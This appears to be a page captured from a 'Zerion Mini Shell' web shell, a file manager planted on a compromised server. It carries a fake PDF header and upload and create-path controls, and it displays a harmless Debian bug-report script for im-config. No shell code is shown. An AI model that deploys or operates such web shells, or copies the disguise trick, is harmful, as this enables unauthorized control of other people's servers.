%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/bug/
Upload File :
Create Path :
Current File : //usr/share/bug/im-config

#!/bin/sh
echo "=== command path ==" >&3
type im-config >&3
echo >&3
#
echo "=== im-config API -l: available IM ===" >&3
echo -n "im-config -l => " >&3
/usr/bin/im-config -l >&3
echo >&3
#
echo "=== im-config API -m: selected IM ===" >&3
echo "im-config -m => " >&3
echo "   'system' 'user' 'automatic' 'override' 'autobase'" >&3
echo -n "   ">&3
/usr/bin/im-config -m|sed -e "s/^\(.*\)$/\\\'\1\\\'	/"| xargs echo >&3
echo >&3
#
echo "=== /etc/default/im-config ==" >&3
cat /etc/default/im-config >&3
echo >&3
#
if [ -x /usr/bin/localectl ]; then
    echo "=== localectl status ===" >&3
    /usr/bin/localectl status >&3
    echo >&3
fi
if [ x$XDG_SESSION_TYPE != xwayland ]; then
    echo "=== /etc/X11/default-display-manager ===" >&3
    /bin/cat /etc/X11/default-display-manager >&3
    echo >&3

    if [ -x /usr/bin/setxkbmap ]; then
        echo "=== setxkbmap -print ===" >&3
        /usr/bin/setxkbmap -print >&3
        echo >&3
    fi
    if [ -f $HOME/.Xmodmap ]; then
        echo "=== ~/.Xmodmap ===" >&3
        /bin/cat $HOME/.Xmodmap >&3
        echo >&3
    fi
fi

echo "=== environment vars ==" >&3
env|grep -E "^(XDG_|.*DISPLAY)"|sort >&3
env|grep -E "^(XMODIFIERS|.*IM_MODULE)"|sort >&3
echo >&3


Zerion Mini Shell 1.0